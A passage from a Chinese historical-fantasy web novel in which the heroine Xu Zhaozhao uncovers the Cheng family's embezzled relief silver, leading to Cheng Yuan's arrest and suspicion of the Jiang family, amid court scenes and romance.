但肯定不能这样答,要不然定然会被昭昭取笑。 “呃,都好。” 许昭昭扑哧一笑:“三郎,未曾成为武将之前,你也算是京中少有的少年才俊,怎么如今竟是话都要说出不口了?” 谢铮脸一红,头微微低着,手指在茶杯上不停地摩娑着,也不知道在想什么。 “昭昭,我听闻你那庄子上的菊花都开得极好,想问你是否可以与我一同去赏花?另外,我在万年县外也有一处庄子,那里虽然没有种花草,但是种了不少的果树,如今硕果累累,也别有一番景致。” 许昭昭抿唇轻笑。 这个男人的意图,她从一开始就知道了。 只是没想到,他竟然这么容易害羞。 他们是未婚夫妻,携手同游,也没有什么不合适的。 “我三哥与明雅姐姐先前也曾说过想一同去赏菊。” 谢铮闻言立马应道:“那便一起吧。可以先在你的庄子上小住几日,之后再去我那里瞧瞧,兴许能看到你酿造果酒需要的料子呢。” 许昭昭点头,这般有诚意,自己也不好一再地逗弄他。 李明雅与许君霆的婚事基本上已经定下。 按照这边的习俗,已经下了小定,互换了庚贴,之后就是商议婚期等等。 许君霆与许君锋本是一对双生子,但是相貌上却很好区分。 可能是一文一武的缘故,这兄弟二人一黑一白,而且许君锋的个子要比许君霆更高一些,差不多高出两寸。 而且许君锋自幼习武,身材上看起来也更为壮硕,肩宽这里就很明显。 许君霆如今的很多工作原本就是在城外,时不时地还要去皇庄,所以他基本上不需要请假,直接就可以去百果园里假公济私了。 至于谢铮,则是仗着自己年轻胆大,直接在御前求了几日的假期,言说若是不能休假,怕是娶妻无望。 永安帝知道这对小情侣,自然也乐见其成。 而且他喜欢谢铮,也是真觉得这小子英武,比其父更甚! 许昭昭有许君霆这个做兄长的陪着,自然无人说闲话,而李明雅这里,也被许君霆特意邀了其兄嫂一同前往。 如此一来,便也没有了闲言碎语。 李明雅与许君霆二人目前其实还在互相了解的阶段,但是二人对彼此都心生好感,若不然,长辈们也不可能定下此事。 许昭昭和谢铮相对而言就自在多了。 许昭昭这性子,原本就是个不让自己受委屈的,而谢铮如今又是一个妥妥的‘妻奴’作派,虽然还没娶进门儿,但是已经将自己的私产都交给她来打理了。 可以说,在许昭昭面前,现在的谢铮,已经毫无神秘感可言了。 “三郎,这山里红瞧着不错,而且你看这一片接一片的 ,瞧着便喜庆。” 谢铮点头:“的确,恰是红色,如同小灯笼一般。” 许昭昭刚一抬手,谢铮便狗腿地伸手过去扶住。 二人相视一笑,就这样向前慢慢走着。 不远处的许君霆看到他们二人相处,是既羡慕,又有几分恼火。 他的妹妹呀! 谢铮这个狗东西,怎么敢提出来今年就要完婚的? 畜生! “昭昭,程媛的事情,我这里又查到一些新线索。” “哦?” “程媛与刘勃之间相熟,但刘勃也并非是傻子,所以并不会真地供其大把的银钱消遣,倒是让我查到了一个书商,此人乃是从江南过来的,而且我还查到,他与邓家曾有些关系,不过后来邓家败落,此人便又主动投到了姜家门下。” “姜家?一个小小的书商,姜家也能看得上?” 谢铮笑道:“此人不简单,除了书商之外,他还有不少的其它产业,只是相比较而言,书商的身份更吸人眼球而已。” 许昭昭将姜家与书商联系到一起,莫名就想到了一个词:舆论! 姜家这是想要来波大的? 可是如今圣上身体康健,正是春秋鼎盛之时,姜家敢如此明目张胆得站队? 又或者…… 募地,许昭昭眼神一暗,她突然意识到,姜家有可能是要借书商之手,对朝中的对家下手了。 若是如此,那她还真不能不闻不问。 “那书商的详细资料你可有?” “都在这里。” 谢铮也是有备而来,打仗他在行,但是在朝中玩这些阴谋诡计,他总觉得自己好像是比小媳妇要弱上几分。 既然如此,那就各擅其长处便好。 第196章 叙旧? 许昭昭慵懒地坐在软榻上,夜色很柔和,屋子里的烛光微晃,她半边身子都藏在阴影里,莫名就给人一种高深莫测的感觉。 丁香将人带进来后,便又快速退到屋外,小心看守。 “给主子请安。” 来人是一位再寻常不过的中年妇人,没有什么特征,平平常常,让人第一眼看过后,便能在下一刻忘记这个人的脸。 “免了,说说这些日子在姜府的发现吧。” “是。奴这些日子一直在二夫人宋氏身旁伺候,宋氏对远在千里之外的姜延辉十分挂念,每个月都要安排人手送东西过去。只有这个月,姜延辉似乎是差人捎了东西回来,但是奴不知是何物,宋氏那里也打探不出来。” 许昭昭的眼里终于多了几分的认真。 她早知道姜延辉在西北不可能受委屈,姜家定然是早早地打点好了一切。 姜延辉差人捎东西回来并不稀奇,稀奇的是,竟然将消息瞒得如此结实,那便定是有古怪了。 “姜愿小姐去岁时与未婚夫家解除婚约,虽说是姜家主动的,但是对方并没有推让的意思,所以这件事情让姜家太爷等人都十分不悦,今年开春后,宋氏便开始为姜愿相看新的夫家,但是迟迟未曾定下。 前不久,奴偶然间得知,庆王世子与姜文鹤有来往,虽隐秘,但二人总要见面,而且有两回就在姜家见的面,二人言词间,似是还提到了姜愿的婚事。” 许昭昭微微点头,看来,庆王府有意与姜家结盟,那么姜太傅看好的究竟是安王还是忠王,这就得好好分析一番了。 “不错,你做的很好。” “奴不敢居功,如今内宅中,宋氏与邓氏二人暗中较劲得厉害,不过总体而言,还是宋氏技高一筹,她表面上看似不争不抢,且十分孝顺太爷和太夫人,但是实际上,却是在一些琐事上处处垮度了邓氏一头,这让邓氏几次大动肝火,反而被姜延平斥责小肚鸡肠。” 许昭昭听罢,笑出声来。 邓氏也有今天哪! “你做得很好,好好办差,日后再回禀消息,可以直接去美人妆,若有急事,也可去那里求助。” “是,奴遵命。” “丁香!” 丁香闻声后推门而入:“小姐,奴婢在。” “取一贯钱,再取一块银铤过来。” “是,小姐。” 妇人大喜,她就知道,主子出手大方,这一次赏,便够他们一家人吃喝两年不用愁了! 许昭昭赏出去的东西,不会有任何的印记。 妇人拿到手的银铤,就是很正常的官银。 许昭昭看着手里的东西,再想到妇人所说的一些微末小事,脑子里不由得将这一切都慢慢地勾连起来。 这其中,必然是有什么联系的。 姜家不可能无缘无故地去结交一个书商,而姜延辉又给家里送了什么东西回来? 大兴朝虽没有明着重农抑商,但是商人的地位着实不高,这就是因为朝廷明明暗暗的打压。 商人手里或许不缺钱花,但是没有什么社会地位。 便是寻常的一个小地主,地位都比富商要更高。 商户之家,三代内不得科举。 也就是说,一位商户,若想要改换门庭,那便得他自己弃商从农籍或者是工籍后,一直到他的曾孙,方才有科考的资格。 这便是朝廷最为厉害的手段。 你一个商户,再有钱,也斗不过有权的。 而且地方乡绅,所看重的更是功名、才学、名望,从来都不看谁更有钱! 丁香打点好一切再回来,注意到小姐在思考,也不敢上前打扰,但还是命人给小姐端了一碗热的奶羹过来。 许昭昭被香气吸引,终于动了动眼睛。 丁香此时也已经到了她跟前,然后将奶羹放在小几上。 “小姐,吃些东西吧,您晚膳就没用多少。” 许昭昭笑了笑:“好。” 几个丫环里,丁香是最周到、最细心的一个。 许昭昭边吃东西,边想着姜家的事。 至于那个书商,她既然已经有了线索,自然不能弃之不顾。 那位书商姓樊,祖籍江南,如今带着一位小妾住在平康坊。 齐云泽让人查过,那处宅院就在这位樊老板的名下。 而且这位樊老板纳进门的小妾,先前还是一位有名的琴师,看来这位樊老板也是很讲雅趣的。 百果园的瓜果花草,那是闻名整个京城。 寻常人家想要购置百果园的花草,那都要预 约排队,但是这位樊老板的小妾喜欢百果园培育的几株菊花新品种,所以便以重金购入几盆金菊入宅。 百果园这边的花匠也很识趣,人家花了银钱,自然就该将一切都服务到位。 比如说定期上门施肥,修煎枝丫,再或者是带回庄子上再驱虫等等。 而这些,正好就给了许昭昭机会。 “回主子,这几盆菊花都是被那位樊家夫人摆在客厅和卧室的,今日是因为客人说这菊花开得有些败了,想要咱们帮忙再催一下那几个花苞能早些绽放。” “知道了,放着就好,下去吧。” “是,主子。” 许昭昭手指轻触那微微有些败意的花瓣,轻轻阖眼,花草不会说话,但是传递的画面皆作不得假。 百果园的花草生意做得好,还是全赖于徐得贵去年管庄子时想出来的主意。 如今,竟是正好派上用场了。 许昭昭小心地注入一些草木之力,让这几株菊花生机更为旺盛一些,但愿,樊家还能再给她带来一些好消息。 程媛正坐在屋里写信,她筹谋了这么久,不能功亏一篑! “姑娘,外面有人叫门。” “许是刘勃过来了,你小心伺候着。” “是,姑娘。” 如今这宅子里除了老仆之外,又采买了两个粗壮的婆子回来,主要就是负责一些粗活。 至于厨房里的差事,现在都是老仆在做。 大门打开,却并非是自己以为的贵客。 许昭昭不是第一次登门,老仆看得眼睛瞪大,想要阻止,显然已经来不及了。 “许小姐,您这是?” “我知道程媛在家,特意找她来叙旧的。” 老仆心头一跳,您二位哪来的旧要叙? 第197章 戳破那一丝希望 程媛知道她现在在京中的名声并不好,更知道现在明里暗里不知道多少人在盯着她,对于主动上门的许昭昭,她还是有几分好奇,更有几分恶意的。 “我程媛如今名声不佳,多的是人说我勾引郎君,还有人说我私藏了程家财产,违抗圣意,你竟然还有胆子过来与我说话?” 许昭昭笑道:“你们程家的胆子的确是很大。当初圣旨是要抄家,可是你们程家竟然敢私藏下诸多财物,若非是如此,圣上又怎么会再降旨意,流放程氏九族? 直至后来有人上书为无辜之人求情,再加上程公一案没有实证,所以圣上才会格外开恩,免了你们的流放之苦。可这不代表了,你们程家就无罪!” 程媛脸色瞬间苍白无比。 若是没有查到那些印有程家标记的财物,一切兴许还能有个纠缠的由头。 可是这些财物被找到了,还有大量的银钱,这足以说明,当初的程家抗旨了。 仅此一罪,便足以令程家满门受牵连! 哪怕当初给程公定罪是过于急切了些,但谁让程家之后又抗旨呢? 所以说,事到如今,程公是否可以平反,好像已经不重要了。 因为若是程公真地平反了,那么圣上也会计较后面程家的抗旨之罪。 如此一来,折腾一遍,图什么呢? 说到底,程家还是有罪! 而且还是重罪! 程媛现在夜里都睡不安稳,就怕突然有官兵闯进来,要将她拿了下狱! 当年所经历过的一切,她都不想再经历一遍了。 此刻程媛最恨的,便是将那些财物找出来的人。 如果不是他们,自己如今的处境也不至于这般艰难窘迫! “程媛,我真的很同情你。你手里明明有人,有钱,但却故意扮弱装可怜就算了,关键是,你手里拿着一份至关重要的证据,却根本不懂得如何利用,你说说,你是不是很蠢?” 程媛双眸倏地瞪大:“你怎么知道?” 可是话刚一问出口,几息之间,程媛的瞳孔便似乎是扩大,整个人似是失了神智一般。 许昭昭从来不是那种讲究什么君子之道的人,在末世生存的可怜人,哪一个又不是心狠手辣? 利用自己的特殊法子,将程媛的嘴撬开,除此之外,她还不忘将程媛藏得好好的那一方玉佩带走。 这可是程家另一份财宝的所在地。 许昭昭倒是没想过将这些财宝据为己有,但是这些财物当年的来历并不干净,既然如此,那也应该用之于民。 即便是现在用不上,那也不能再留在程媛的手上了。 程媛手上的证据,并不是可以证明程公清白的证据,恰恰相反,那份证据,倒是正好足以坐实了程家的罪行。 但是这份证据若是能主动上交,当年或许可以保下程公一命,更可以避免程家被下旨查抄。 但程公却为何将这份名单死死地攥在手里了呢? 哪怕是死,他也不愿意交出这份名单,他是为了掩盖什么真相,还是这名单上有他一心维护之人? 许昭昭想不通这些,但是名单到手,便足以让谢铮和齐云泽死心。 至少,他们二人不必再为程公一事而奔走了。 当然,这份名单暂时不能面世,首先其牵扯到的人物太多,一旦曝出,势必会影响整个朝局的走向。 其次,就算是这份名单交上去了,也定然会有人起疑,不能保证这份名单的真实性。 再有一点,这份名单,未必就是圣上愿意看到的。 既然如此,那倒不如暂时由许昭昭来保管,兴许未来某一日,可以用得上呢? 关键是现在所有人都以为这份关键性的证据在程媛那里,而她和程媛又不合,谁会相信,这份名单会在自己手上? 许昭昭再次将谢铮和齐云泽找来,没有给他们看名单,但是拿出一封书信给二人看了。 “这是当初我们去看宅子时,在一个暗格看到的。后来我才得知,那处宅子曾是程家的产业,所以,我觉得这封信应该是真的。但我未曾见过程公的笔墨,所以现在由你们二人判断一下吧。” 二人先后看过,皆沉默不语。 很明显,程公的字迹,他们认出来了。 所以,当年私扣赈灾银钱一事,也的的确确是程公下令做的。 可是迄今为止,那些赈灾银钱却只找回来一小部分,更多的银钱流向何处,目前尚未可知。 朝廷当时派发银钱,户部原本是准备的铜钱,但是考虑到了要运往南方,着实不便,所以 便改为了官银,抵达南后,再沿途到各个官衙更换成铜钱,这便省了很多的事。 但是结果,银铤并没有被完全换成铜钱,当年虽然程家也被抄出来不少的财物,但是与其贪没的这些官银相比,还是远远不及。 许昭昭见他二人不说话,便再度将这封信收了起来。 “此事,你们二人心中有数便好。日后莫要再提什么为程公翻案一事了。而且当年因为没有找到这些银两,再加上因为没有实证,所以圣上仁慈,赦免了程氏的流放之苦,如今找回来部分银钱,其实已经说明了当年的事实真相。” 其实,还有一大笔银钱之所以追不回来,也找不到,并不是因为程家人藏起来了,而是那些银钱,已经流入了另一位主子的口袋。 严格来说,应该是流入了这个案子幕后真正的凶手的口袋。 但是,有证据吗? 谢铮突然心神一动:“程家的财物再加上上次找回来的那一部分,是否可以抵消当年的赈灾银两了?” 许昭昭摇头,她知道谢铮还是抱有一丝幻想的,不是对程公,而是对于他心中那已有的猜测。 许昭昭这人心冷,直接就把他的那丝希望给打碎了。 “当年圣上下旨拨钱三百万贯,你可知换成银铤是多少?” 只这一问,谢铮便不说话了。 他知道,他心中的那个猜测,成真了。 齐云泽也隐隐有所觉,但是他看看二人的表情之后,还是聪明地没有说破。 有些时候,装傻才是正道理! 第198章 谢铮首功 许昭昭想办法命人通过乞丐之手,将那枚玉佩送到了谢铮手上。 谢铮之后再直接上达天听,之后赵长清被紧急召入宫中,没多久,谢铮、许君安和方大壮被圣上下旨带兵出城,直奔数十里之外的某县城。 不到一个时辰,便有飞骑赶回来禀报,发一处半旧的宅子里,发现了大量的银铤以及铜钱。 永安帝表情复杂,既有震惊,又有一种懊恼之色。 “说!” “回陛下,微臣回来时,谢郎将以及许世子等人还在清点,目前已经确定那宅子下面的密室中有银铤十二箱,铜钱三十余箱,但是具体有多少数额,暂不清楚。” “来人,召顾东阳。” 随后,顾东阳又带上几位户部干净,与飞骑直奔城外某县。 这一次,找到的钱财,比上一次更多。 因为这一次,许昭昭没有额外地扣下一部分,因为她知道,这些银钱,都是正经从国库里出来的,她就算是再贪财,也不能沾这种钱,会掉脑袋的。 顾东阳到地后上前确认,再加上他的几位手下也纷纷去查验。 最终确定,全都是官银! “大人,属下特意带上了当年户部支出的一些细则,您看,这上面的印记,与当时户部去出的银铤全都对上了。” 每一批的银铤,都会有官府印记,这一点不会错。 铸造银铤时,也会有每一次铸造的年号、监制等等。 这一切都对上,那就说明,这批银铤,正是当初朝廷一直没有找到的那些赈灾银。 “大人,目前粗略估计,银铤与铜钱的数量加在一起,尚不足当年的赈灾银。” “嗯,不足才是正常的。全都统一清点后,入库,本官还要呈至御前。” “是。” 等到几十车银铤与铜钱被拉回户部时,不知道多少人都伸长了脖子,看红了眼。 兵部尚书在那里盘算着,今年冬将士们的补给应该是没有问题了,要不要上个折子,多给边关的将士们谋些好处? 工部尚书则是在那里转悠,这朝廷处处都要钱,他们工部最缺钱,不是修宫殿,就是修桥修驿站的,他们是不是可以考虑一下张嘴要钱了? 其它的几处头头们也都在暗自琢磨着,这次他们部门能被分到多少银钱做事。 看着上面所记录的数字,永安帝的脸色极差。 此时,殿内还有数位朝廷肱骨重臣也在,这其中,便有安信侯许翰、齐王、原吏部尚书,如今的中书令刘锦鹏、姜太傅、定南侯、镇国公等诸位。 大家都是永安帝的心腹,自然也明白,圣上此时心情应该是怒大于喜! 顾东阳也明白,但他是户部尚书,他必须得上报,而且,无论如何,总归是今年的国库又充实了不少。 永安帝脸色铁青:“诸位以为如何?” 大家都明白圣上这是在问什么,但是谁也不敢先开第一句口。 这个时候,一句话说不对了,估计要被圣上给喷死! 姜太傅最为年长,他慢悠悠地拱手道:“陛下,当年的案子,您已下旨查抄程府,而且当年涉事的废宁国公已经身死,其夫人亦是自缢于牢中,按说,罪魁祸首伏诛,臣以为,此案已是板上钉钉。 当年因为未曾找到这些官银,故而一直被御史等各方弹劾,认为是定了一桩冤案,如今这些官银找到,而且还是藏匿于程家旧宅之中,臣以为,此案程家辩无可辩!” 永安帝轻轻阖上眼,他现在无比愤怒,曾经他是那么相信程公呀! 顾东阳小心观察了一下圣上的神色后,提醒道:“禀陛下,当年程家事发后下狱,但是程缙,也就是当年的宁国公世子一直未曾找到踪迹,迄今为止,仍然是活不见人死不见尸,而当时刑部审问时,其府中下人也皆称不知,依微臣看,还是要继续加大缉拿程缙的力度。” 永安帝微微点头:“的确,还是要下令将程缙找到,记住,一定要捉活的。朕要亲口问问他,朕当年如此信重他们程家,他们就是这样来回报朕的吗!” 谁都听得出来,圣上震怒。 许翰则是提了一个小小的疑问:“陛下,程缙当年失踪时,赈灾款被私扣一案还未曾爆发。若是程缙因为听说了程家的消息而选择隐藏起来,那想要找到他还是太难。这无异于大海捞针呀。” 永安帝看过来:“你有法子?” 许翰没有犹豫,而是提到:“程媛!” 这个名字,足以让众人明白。 这么好的鱼饵不用,那就太浪费了。 “程媛的确好用, 而且还是她自己送上门来的。” 许昭昭听父亲说完之后,就给了这么一句回应。 许翰的表情则是有些古怪,总觉得自己的宝贝女儿也太神了些。 这次的大功,谢铮当居首位,毕竟是他先发现了玉佩,之后又‘阴差阳错’地得知了这玉佩可能与程家有关。 总之,事情就是在别人看来是一波三折,实际上在谢铮这里,那是一帆风顺。 谢铮在拿到玉佩后,便直接命人去清点程家的财产,尤其是宅院田庄之类。 而半废弃的这处宅院,当年是挂在了程家的一个远亲的名下,谢铮带人去的时候,只有一对老夫妻在守着这处宅子。 若说程公当年是清白的,那又是怎么费尽心思地保下了这处宅院,同时又将这些银钱存放于密室之中的。 不过是短短几日,谢铮和齐云泽觉得他们的三观需要重塑! 太令人震惊了,也太超出他们的意料了。 他们以为,程公那样的人,时时处处为百姓考虑,怎么可能会做出这等蔑视无辜性命之事? 可偏偏,摆在眼前的事实,就这么打脸了。 齐云泽喝了个半醉,为自己之前几年的苦苦坚持,也为了自己的识人不清。 “你说,咱们当初是不是瞎了眼?” 谢铮比他好一些,至少没醉,而且表情还是一贯的冷酷。 “谢三郎,你真是找了一个好媳妇呀!如果不是她把这一切摊开,咱们两个还要被程媛当傻子一样戏耍!谁能想到,咱们一直奉为明师的程公,竟然也是这般贪欲重过百姓生死的小人!” 第199章 死猪不怕开水烫 齐云泽在大醉一场之后,整个人就像是被换了个芯子一样,一双眼睛也更为清亮了。 他听谢铮的,不再流连于花丛之中。 以前是为了借机查一些旧事,如今想想,没必要了。 齐云泽被举荐成为了长安县县丞,从七品。 官职还可以,而且有实权。 齐云泽任县丞,若无意外,日后他就是走文臣的路子了。 程媛被下狱了! 许昭昭得知这个消息时并不意外,既然是朝廷要拿程媛当饵,那必然是要采取一些行动的。 而且目前为止,程公这一脉里,似乎是只有程媛这一条血脉了。 当年程媛的那些兄弟姐妹,自杀的自杀,病死的病死,失踪的失踪,所以,程媛的生死,此时就显得尤为重要。 朝廷也没有给出明旨,说要如何处置程媛,只是张贴告示,再次将找回了部分当年的赈灾银的事情写明,同时,再次强调了当年的程家之罪。 如此一来,便等于是将程家给钉在了耻辱柱上。 各地府衙收到邸报之后,都开始在衙外张贴告示,无一例外的,都是想要积极一些,免得再被连累。 当年曾经为程公说过话的那些人,要么被贬,要么就是被圣上当庭斥责,颜面尽失。 总之,就是跟程家牵扯上关系的,基本上都没有什么好下场。 邸报才刚刚开始下发,所以朝廷也不会觉得马上就会有消息。 眼下,还是要专注于朝中大事。 先前许君霆负责种植的玉米收获颇丰,而且按他的法子弄出来的几种食用之法,也是相当不错。 尤其是将老玉米磨成粉后再用热水煮,这一点可以说是解决了仓储的一个大麻烦。 永安帝大为高兴:“许翰,你真是生了个好儿子呀!这玉米自然晒干之后,可以不用剥下果粒来,竟然能一直存放,不会出芽,也不会发霉,这可真是天大的好消息。” “陛下,话虽如此,但是在存放时,还是要尽量避开潮湿的。” 永安帝心中甚悦,笑着走至大殿:“走,陪朕去外面转转。” 许翰自然是听命跟随。 今日宫中当值的,正好就是谢铮。 永安帝带着许翰慢悠悠地逛着,偶尔还会问一下关于许君霆的情况。 毕竟许君霆出身侯门公子,让他去种地,还真的是难为他了。 “这孩子倒是没觉得辛苦,而且经常在庄子上一住就是个把月,微倒是看出来了,这小子不仅不觉得累,反而还玩野了!” “哈哈!许翰,你就是对孩子们的要求太高了。你瞧瞧你家的这几个孩子,哪一个拎出来不让人羡慕嫉妒?尤其是你那个女儿,既会做事,又会赚钱,关键是还不小气。寻常女子,可是做不到!” “皇上,您就别夸她了。这丫头近来也不像话,跟她三哥一起,几乎是都住在庄子上不回来了。” “你应该高兴的。昭昭是个好孩子,而且她手下还有不少能干的庄稼老把式,有他们帮衬着,许君霆的差事才能办得更好!” “您是皇上,您说什么是什么。” 就这个态度,让永安帝直接笑骂道:“你这个混账东西,敢在朕面前耍无赖了!” 许翰很光棍的笑笑,不说话。 许翰现在没有在兵部任职,但他领着一个大将军衔,而且名下也的的确确是有军权的。 正是因为如此,所以许翰一直都表现得自己很直接、鲁莽,反正就是没有什么心眼儿的那种。 因为早年兄弟俩都在朝为官,所以许翰一直都拒绝入兵部当差,其实也是为了能让圣上对他放心。 如今他的三个儿子都长起来了,虽然现在官职都不高,但许翰还是觉得自己可以退下来,好给孩子们让路了。 “陛下,臣当年在边关作战时,也受了不少的罪,尤其是当初在雪地里追踪那些突厥狗,臣的膝盖现在每每到了冬天都会疼。” 永安帝停下脚步,当年的战事,他自然是知道的。 许翰北上抗击敌军,也不是一次两次,而且永安帝还不是皇帝时,也曾跟他们一起并肩作战。 所以,他知道许翰不是在故意卖惨,而是真的身上有伤。 “回头让御医好好给你瞧瞧,再去太医署拿些好药回去吃着用着,你才多大,别想着跟朕来这一套!” 不愧是自小一起长起来的,许翰话才刚起个头儿,永安帝就知道他要说什么了。 许翰苦笑:“陛下,臣没有别的意思,就是想着歇一歇。而且如今朝中人才济济,无论是文臣还是武将,咱们大兴都是人才辈出,臣年纪大了,也该给那些年轻人让让位置了。” 永安帝冷笑一声:“当真?” 许翰点头,一脸诚恳:“臣是认真的。” “也好。朕原本还想着等明年开春就要对北方用兵的。既然你腿疾犯了,那就在家好好休养,这大将军职你也别领了,正好换一些年轻的将领冲上去,不过也不能都用年轻的,朕回头得想想派几个老将带着才能放心。” 许翰一听就急了:“陛下,这还用想吗?那肯定得有臣呀!当年北上御敌,臣可是回回不落的,没有人比臣更了解那帮子贼狗,而且臣偶尔还能听懂一两句突厥话呢。” 永安帝斜着眼睛瞧他:“腿不疼了?” 许翰一怔,唇角微微抽动两下,然后很无赖道:“疼还是疼的,但是不影响上马打仗呀!要不,您给臣赐些好药,臣这几个月就在家里头好好休养,正好明年开春就能直接带兵开拔了!” 后面跟着的谢铮听到这话都快要忍不住了。 您老是真会说话,也是真敢想呀! 就想着混几个月的不上朝不议事,只在家里头过小日子呗! 怎么这么会做梦呢! 果然,永安帝直接就指着他的鼻子开骂。 “你这个懒东西,你到底有没有点儿心气儿了?瞧瞧你那点出息!你还想着在家歇几个月睡懒觉?怎么不懒死你算了!” 许翰就是一副死猪不怕开水烫的样子,您爱说啥说啥,给我放假就行! 就这份心性,不得不说,谢铮还真地是佩服上了! 第200章 为父兄准备 晚上回家,谢铮一头钻进了书房里,开始复盘自他当值以来的一些人和事。 好半天之后,他才喃喃道:“许伯父才是真的智慧呀!” 能让皇上用那等亲昵的如同对待兄弟的语气说话,可见许翰是真地很得帝心。 而许翰又能在御前那般的耍无赖,任凭圣上对他破口大骂,反而还能直接耍混,就冲这个,便能看得出来,圣上是真正信任他的。 不是那种口头上说说,也不是说圣上赏赐丰厚的信任,就是一种发自内心的信任。 或许,这就是打小长起来的情谊所致。 谢铮的父亲谢啸林也是跟陛下一起长大的,但不同的是,谢啸林不善言词,而且他这个人更死板一些,总觉得他在人前的形象比较固执又透着几分呆气,没有许翰的性子更有人气儿。 谢铮丝毫不怀疑圣上对谢啸林的信任,正是因为出于信任,所以当年他入伍后,圣上会毫不犹豫地让他也跟着一起去了冀州。 他们是亲父子,一般而言,若是武将在外驻边,那么嫡子定然是要留在京中的。 这并非是需要圣上下旨安排,而是臣子自己主动做出的选择。 这也是为了一份君臣情谊,更是互相做出的一份承诺。 若是皇帝昏庸,治罪武将家眷,那么边关武将也能直接反了你! 而若是武将在外行事狂悖,逾制失礼,那么皇帝也可以治罪其京中的家眷。 互为牵制,也是互相送上一份信任。 谢铮在冀州几年,圣上从来没有说过什么,更不曾在关键时刻下旨申饬,足见圣上对谢家的看重。 如今谢铮调回京中,年纪轻轻,直接就成了一位中郎将,这是何等的风光体面! 最关键的不是几品官,而是在御前侍驾,那能一样吗? 给你一个四品的刺史,但是远离京城,你觉得好吗? 但绝大多数的官员,宁可做个五品六品,也愿意留在京城,只为了能时常有机会得见天颜! 京城,才是大兴朝的权利中心。 而皇宫,则更是重中之重! 能在陛下的太极宫内守卫,且就在太极殿外巡逻,这得是圣上多大的信任! 谢铮想到自己回京前父亲的嘱咐,再想想这些日子亲眼看到的,亲耳听到的,只觉得做官的确就是一门学问。 陛下文武并重,这是好事。 但武将也不能行事过于张狂,否则,便会给自己找麻烦,那些整天没事儿干的御史,可是每时每刻都在等着捉这些大臣们的小辫子呢。 谢铮写了一篇心得,之后又重新润色,改为了一封家书。 谢铮明年就要成亲了,也不知道父亲是否可以回来。 按道理而言,谢啸林在外镇守的年头不短了,朝廷也该将他叫回来了。 但是奈何谢啸林自己主动请缨镇守边关,再加上几年前朝中因为几次大战而需要休养生息,边关重地,圣上也不放心派小将镇守,所以谢啸林就一直没回来。 如今边关还算是安宁,而且明年开春若是真地挥军北上,那么谢啸林这里圣上又做何安排,还真地是有待商榷。 谢铮就是提前把这个消息给父亲透露一二,但还是写得很隐晦,他在御前侍奉,不该说的是绝对不能说的。 谢铮之所以敢隐晦得写明这件事,就是因为他不怕。 谢铮虽然是武将,可也的的确确是曾被人称为才俊的! 圣上既然有意在他面前提及北上征讨一事,那必然是有意让他以及谢家做出安排。 武将之家,能征讨敌寇,那是无上的荣耀! 所以,这一次,无论谢家是何人出征,谢铮都不会嫉妒,当然,如果是让他出征就更好了。 热血男儿,谁不想在战场上征服那些蛮夷? 保家卫国,方为男儿本色! 许昭昭知道这件事后,便开始早早地做准备。 她是姑娘家,能做的东西有限。 要打仗,就不是一时半会儿之事。 而且数十万将士在战场上对阵,必有伤亡。 许昭昭干脆就去了一趟太医署。 她如今顶着一个安乐县主的名头,去太医署倒也不过分。 “给县主请安。” “几位大人快快免礼,我今日过来,实在是有一事相求。” 几位太医不解,正欲开口问,太医令过来了。 “敢问大人,如今这英雄酒所酿如何?” 英雄酒的度数经过太医署以及工部的人协作之后,如今终于能做得效果更好,但是因为无法估计度数,许昭昭亲测过之后,大概判断应该就是在六十几度左右。 许昭昭命人将自己带来的坛子送上,之后与太医署做出来的进行对比。 太医令大喜:“县主这酒?” “据我估测,效果应该是更好。不过我毕竟不是医者,还得劳烦太医令及诸位大人们辛劳,若是有外伤者,可用此酒试一试。” “好,最多七日,便可将结果告知县主。” “多谢。” 没几天,太医署就得出了结果,果然是比以前的效果更好,太医令大喜之下,自然是进宫禀报。 永安帝满意地点点头:“这孩子果然是个好的,没有因为把这些都给了你们便撒手不管,而是继续研制出效果更好的。” “启禀陛下,县主走之前曾说,若是效果好,那她就直接将方子送上,另外,她还说想在百果园那边也继续酿造,说是为其父兄做的准备。” 永安帝挑眉,看来许翰是没瞒着这丫头呀。 “嗯,准了。” “陛下圣明!” 许翰要带兵北征,定然少不了要带自己的亲兵,以许翰的大将军官衔,再加上侯爷的身份,人数定然是少不了的。 许昭昭这样光明正大地给自己的父兄谋私,永安帝反而觉得许家人行事坦荡,光明磊落。 待到太医令走后不久,永安帝看了一眼外面站着的谢铮,突然就笑出声来:“怕是还要给谢家也备着吧!这丫头,倒是不知道遮掩一下。” 除此之外,许昭昭又频频前往太医署,一起研制效果更好的止血粉。 许昭昭手里头的方子自然有,但不能一下子都拿出来,而且,大家齐心协力一点点地抠出来,才更有意思,也能让大家知道她的不易才是。 第201章 程媛带来的恐慌 程媛入狱,跟随她的老仆也未能幸免。 但是狱中似乎对她们主仆二人还不错,至少不曾严刑拷打,只是一日两餐,勉强裹腹。 程媛手中的东西已尽失,而她本人却毫不知情。 她以为自己的东西还在,自己手里还有足以威胁小半个朝廷的证据,所以入狱之初,她仍然是骄傲的。 直到赵长清来了一趟牢狱,单独提审她之后,程媛才垂头丧气地回到了狱中。 那些钱没了,她并不算是多难受,不过就是些身外之物,只要自己手上还有那份名单,银钱不过是手到擒来之事。 可是她万万没有想到,那份名单竟然也不见了。 她将自己藏匿的地方供出,结果却是查无所获。 老仆被提审,更是一脸懵。 她完全不知道主子手上还有这样一份足以致命的东西在。 如果早知道,那她一定早就建议程媛另谋出路了。 那份名单虽然没了,但程媛是看过的,所以她当着赵长清的面儿将名单默了出来。 但这东西是真是假,谁又知道呢? 永安帝看着这份名单,半天没有给出反应。 站在他的角度来看,这份名单有六成的可能是真的。 因为在上面他看到了庆王的名字。 但是,他不相信会有这么多的朝廷官员参与进去。 而且如果真地信了这份名单,那么朝中则会迎来一批大清洗,届时,定然是血流成河。 赵长清不愿意相信,但他身为京兆府尹,又不得不将这份名单上报,只盼着陛下仁慈,能三思。 “除此之外,她还说了什么?” “回陛下,程媛还交待了一位樊姓的商户,目前此人及其京中的家眷已全部收押。而且微臣还查到,这位樊姓商户为书商,且近来与姜家走得极近。” 永安帝侧目:“哪个江?” “回陛下,正是姜太傅家,樊书商与姜文鹤来往频繁,而且在此之前,樊书商曾与邓氏有着多年的合作,后来邓氏产业出事,他才投靠至姜家门下。除此之外,此人还多次与程媛联系。据程媛交代,此人曾牵涉当年的赈灾银一案。” “先审这个姓樊的,另外,派人严密将姜文鹤给监控起来。再派人,将邓家男丁秘密抓捕,即刻押解进大理寺狱!” “微臣遵旨。” 谁也没想到,这案子审来审去,竟是查到了姜家头上。 